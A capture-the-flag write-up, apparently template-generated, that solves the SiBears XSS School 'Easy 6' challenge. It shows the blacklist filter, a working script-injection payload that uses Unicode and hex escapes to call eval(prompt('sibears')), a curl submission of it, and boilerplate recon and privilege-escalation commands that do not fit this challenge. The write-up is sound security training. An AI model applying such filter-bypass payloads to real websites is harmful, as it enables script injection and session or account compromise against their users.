Easy 6 - SiBears XSS School
Easy 6 - SiBears XSS School
Platform: Spfctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-15 | Status: Solved Techniques: blacklist_bypass_via_encoding, comment_injection, hex_escape_in_strings, string_context_breakout, unicode_escape_in_identifiers
Summary
Task: XSS challenge with regex character blacklist filtering letters p,r,o,m,t,e and brackets. Solution: Bypass using JavaScript Unicode escapes (\u0065val) in identifiers and hex escapes (\x70) in strings to call eval(prompt("sibears")).
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
spfctf| ID:20260315_spfctf_easy6 - Tags: filter_bypass, xss, javascript, eval, unicode_escape, hex_escape, sibears, character_blacklist
- Indicators: regex character blacklist, injection into script tag, blocked letters but unicode escapes allowed, eval/prompt blocked but \u escapes work
- Source:
20260315_spfctf_easy6.md
Foothold
Vulnerability / Misconfiguration
- Blacklist_bypass_via_encoding
- Comment_injection
- Hex_escape_in_strings
- String_context_breakout
- Unicode_escape_in_identifiers
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- blacklist_bypass_via_encoding
- comment_injection
- hex_escape_in_strings
- string_context_breakout
- unicode_escape_in_identifiers
- Tags: filter_bypass, xss, javascript, eval, unicode_escape, hex_escape, sibears, character_blacklist
Original Writeup
<details><summary>Click to expand original content</summary>Description
Attack our bot to get the flag! Solve the SiBears XSS level and submit your payload to this page.
Challenge URL: http://109.233.56.90:11659/xss/easy/6
The challenge is from the SiBears XSS School (xss.school.sibears.ru). The page at /xss/easy/6 contains a JavaScript escape function that filters user input and injects it into a <script> tag. A separate form at /xss/easy/6/form accepts a payload, which is sent to a bot that evaluates it. The goal is to execute prompt("sibears") in the browser.
Analysis
The Escape Function
function escape(s) {
if (/p|r|o|m|t|e|\[|\]|!/i.test(s)) {
s = '';
}
return '<script> var a = "' + s + '";</scr' + 'ipt>';
}
The filter blocks (case-insensitive) the characters: p, r, o, m, t, e, [, ], !
This means:
- Can't write
prompt,eval,setTimeout,Function,document,window,self,this,alert,constructor, etc. directly - Can't use bracket notation
[]for property access - Can't use
!for logical NOT - Can't close
</script>tag in input since it contains blocked letters
Available Characters
Letters: a b c d f g h i j k l n q s u v w x y z (and uppercase equivalents)
All digits, and symbols: " ' \ ; + - * / = ( ) { } . , : ? & | ^ ~ < > @ # $ % _ and backtick
Solution
Key Insight 1: JavaScript Unicode Escapes in Identifiers
JavaScript allows Unicode escape sequences (\uXXXX) in identifier names. The characters \, u, 0, 6, 5 are all allowed by the filter. So \u0065val is parsed by the JS engine as eval — but the regex only sees the raw characters and doesn't match any blocked letter.
Key Insight 2: Hex Escapes in JS Strings
Inside a JavaScript string, \xNN hex escapes produce arbitrary characters. The raw characters \, x, and hex digits are all allowed by the filter. So "\x70\x72\x6f\x6d\x70\x74" is the string "prompt" but contains no blocked characters in the source.
Crafting the Payload
";\u0065val("\x70\x72\x6f\x6d\x70\x74(\x22sib\x65a\x72s\x22)");//
After injection into the template, the browser sees:
<script> var a = "";\u0065val("\x70\x72\x6f\x6d\x70\x74(\x22sib\x65a\x72s\x22)");//";</script>
Which the JS engine interprets as:
var a = "";
eval("prompt(\"sibears\")");
//";
Breakdown
"— closes the string started by the template;— ends thevar astatement\u0065val(...)— JS Unicode escape:\u0065=e, so this iseval(...)"\x70\x72\x6f\x6d\x70\x74(\x22sib\x65a\x72s\x22)"— hex-escaped string that decodes toprompt("sibears");//— semicolon ends the eval statement,//comments out the trailing";from the template
Hex Encoding Reference
| Character | Hex Code |
|---|---|
| p | \x70 |
| r | \x72 |
| o | \x6f |
| m | \x6d |
| t | \x74 |
| e | \x65 |
| " | \x22 |
Submission
The payload was URL-encoded and POSTed to the form endpoint:
curl -s -X POST 'http://109.233.56.90:11659/xss/easy/6/form' \ -d 'code=%22%3B%5Cu0065val(%22%5Cx70%5Cx72%5Cx6f%5Cx6d%5Cx70%5Cx74(%5Cx22sib%5Cx65a%5Cx72s%5Cx22)%22)%3B%2F%2F'
The server redirected to a checker page which confirmed: State is SUCCESS
Verification
Confirmed that the regex does NOT match the raw payload:
/p|r|o|m|t|e|\[|\]|!/i.test('";\u0065val("\x70\x72\x6f\x6d\x70\x74(\x22sib\x65a\x72s\x22)");//')
// → false (when tested as raw/literal string, not JS-interpreted)
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR